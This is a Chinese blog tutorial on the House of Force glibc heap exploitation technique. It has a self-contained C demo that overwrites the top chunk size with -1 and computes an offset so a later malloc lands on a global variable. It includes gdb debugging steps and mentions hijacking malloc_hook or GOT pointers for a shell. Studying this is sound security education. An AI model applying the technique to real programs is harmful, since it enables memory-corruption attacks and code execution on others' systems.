Linux下堆溢出利用2-House of force基本原理

1 前言

House of Force 是一种堆利用方法,可以实现内存地址的读写,个人认为难理解的点有两个:

  1. 如何通过溢出已经分配的chunk,准确覆盖top chunk中的size字段;
  2. 要将top chunk的偏移到我们想要的目标地址(本文中是全局变量bss_var),该如何计算新申请chunk的偏移量大小。

2 基础知识

2.1 Top Chunk的分割机制

在堆内存管理中top chunk是作为后备堆空间,在各bin中没有chunk可提供时,分割出一个chunk提供给用户。那么这个分割过程是怎样的呢?我们来参照一份源码:

victim = av->top;
size   = chunksize(victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}
  1. 首先是libc会检查用户申请的大小,top chunk是否能给的起;
  2. 如果给得起,就由top chunk的head处,以用户申请大小所匹配的chunk大小为偏移量,将top chunk的位置推到新的位置,而原来的top chunk head处就作为新的堆块被分配给用户了;
  3. 如果我们能控制top chunk在这个过程中偏移到任意位置,也就是说,如果我们能控制用户申请的大小为任意值,我们就能将top chunk劫持到任意内存地址,然后就可以控制目标内存。

2.2 溢出top chunk的方法

当我们malloc一个空间的时候,在申请到的这个chunk的后面就是top chunk,然而当我们输入的数据大小超过我们申请的范围,就会溢出到top chunk的位置。我们直接让top chunk 的size字段非常大就可以通过检查了,通常我们会传入-1,因为ptmalloc的源码中对于size使用unsigned long进行强转抓换,负数用补码表示,将-1当成无符号数为0xffffffffffffffff,已经非常大了,用于绕过if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 验证。

2.3 利用条件

  1. 需要有办法能够更改到top chunk大小;
  2. 需要能够知道当前位置和要写位置的差值;
  3. 需要能够自由控制将要分配的chunk的大小,也就是malloc的参数值。

3 程序和调试环境准备

3.1 实验环境

  1. Linux ubuntu 16.04.1
  2. gdb 7.11.1
  3. pwndbg 1.1.0

3.2实验目标

我们提前定义了全局字符串变量bss_var,通过house of force 修改内存空间,改写其内容。

在实际应用场景中,可以用同理技术劫持malloc_hook、got等表指针,实现堆溢出攻击。

3.3演示程序

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{

    	fprintf(stderr, "\nbss_var为全局变量,指向数据段内存地址为:[%p],通过House of force修改内存,改写其内容.\n", bss_var);
    	intptr_t *chunk1 = malloc(0x100);
    	fprintf(stderr, "\nchunk1的mem位置为:[%p];chunk1头的位置为:[%p].\n",chunk1,chunk1 - 2);
	
	intptr_t chunk1_size = *(chunk1-1);
	chunk1_size &= 0xffffff0; 
	fprintf(stderr, "已分配的chunk大小:[0x%x].",chunk1_size);
	intptr_t *ptr_top = (intptr_t *) ((char *)chunk1 + chunk1_size-2*sizeof(long));
	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;

	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
	void *new_ptr = malloc(evil_size);
	void* ctr_chunk = malloc(100);
	strcpy(ctr_chunk, "'Hacked!!'");
	fprintf(stderr, "\nbss_var已经被改写成新字符串:[%s].\n", bss_var);
}

3.4编译命令

sudo gcc -o hof hof.c -g
需要安装插件 pwndbg进行程序调试

4 程序调试

在程序开始下断点,运行
b main
r
在这里插入图片描述

去0x601060看一下,这里存放着字符串"This is a string that we want to overwrite."
在这里插入图片描述

p 14
r
此时chunk1已经申请完毕,地址为0x602010。
在这里插入图片描述

输入:x/20xg 0x602000,看一下chunk1的结构
在这里插入图片描述
p 17
r
在这里插入图片描述
*(p1-1)是取出本chunk的size字段,看一下现在值是0x111
在这里插入图片描述
因为64位机器是16字节对齐,后四位是标志位,我们用chunksize &= 0xffffff0进行后四位清零。
在这里插入图片描述

intptr_t *ptr_top = (intptr_t *) ((char *)chunk1 + chunk1_size-2*sizeof(long));

这行代码是要计算top chunk的头节点地址,具体见下图:
在这里插入图片描述

*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;

将top chunk的size字段赋值为-1,赋值前后的对比。

在这里插入图片描述
在这里插入图片描述

计算偏移地址方法1:

  1. 继续执行,下一步需要申请一个new chunk,使top chunk偏移到我们的目的地址bss_var;
  2. 严格来说应该写成:evil_size = bss_var-ptr_top-2sizeof(long)-2sizeof(long),第一个2*sizeof(long)是申请的大chunk的头系统会自动添加,所以需要减去;
  3. 要写目的地址,需要再申请一个chunk,使其mem正好是目的地址(下文中的 void* ctr_chunk = malloc(100);),故这个chunk的头也需要预留出来,所以才减去第二个2*sizeof(long)。

计算偏移地址方法2:
要申请一个evil_size大小的堆,使top chunk的mem部分扩展到0x601060(bss_var地址)处,即chunk地址要偏移到bss_adr-0x10处,则:
ptr_top+0x10+evil_size=bss_adr-0x10
0x602030+0x10+evil_size=0x601060-0x10 = 0x601050
evil_size=0x601060-0x602030-0x20
在这里插入图片描述
p 24
r
在这里插入图片描述

这时top chunk 的位置为0x601050。

在这里插入图片描述

对ctr_chunk写入数据,全局变量bss_var被成功改写,over!
在这里插入图片描述

5 总结

通过以下6步实现了对全局变量bss_var的改写,

  1. 先申请一个chunk1;
  2. 根据堆的内存分配机制定位到top chunk的位置ptr_top;
  3. 改写top chunk的size字段为-1,从而绕过验证 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 检查;
  4. 根据目的地址(bss_var)和top chunk的地址计算偏移evil_size,注意要预留出两个chunk头的空间;
  5. 申请evil_size大小的内存空间,此时top chunk的位置已经到了: 目的地-0x10;
  6. 再次malloc内存空间,其mem地址正好为目的地址,可以进行任意读写。
    在实际应用中可用同理技术劫持malloc_hook、got等表指针,实现get shell。

6 参考链接

  1. https://blog.youkuaiyun.com/aaa15893831716/article/details/102408213
  2. https://blog.youkuaiyun.com/qq_35519254/article/details/76986169
  3. https://bbs.pediy.com/thread-222924.htm
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值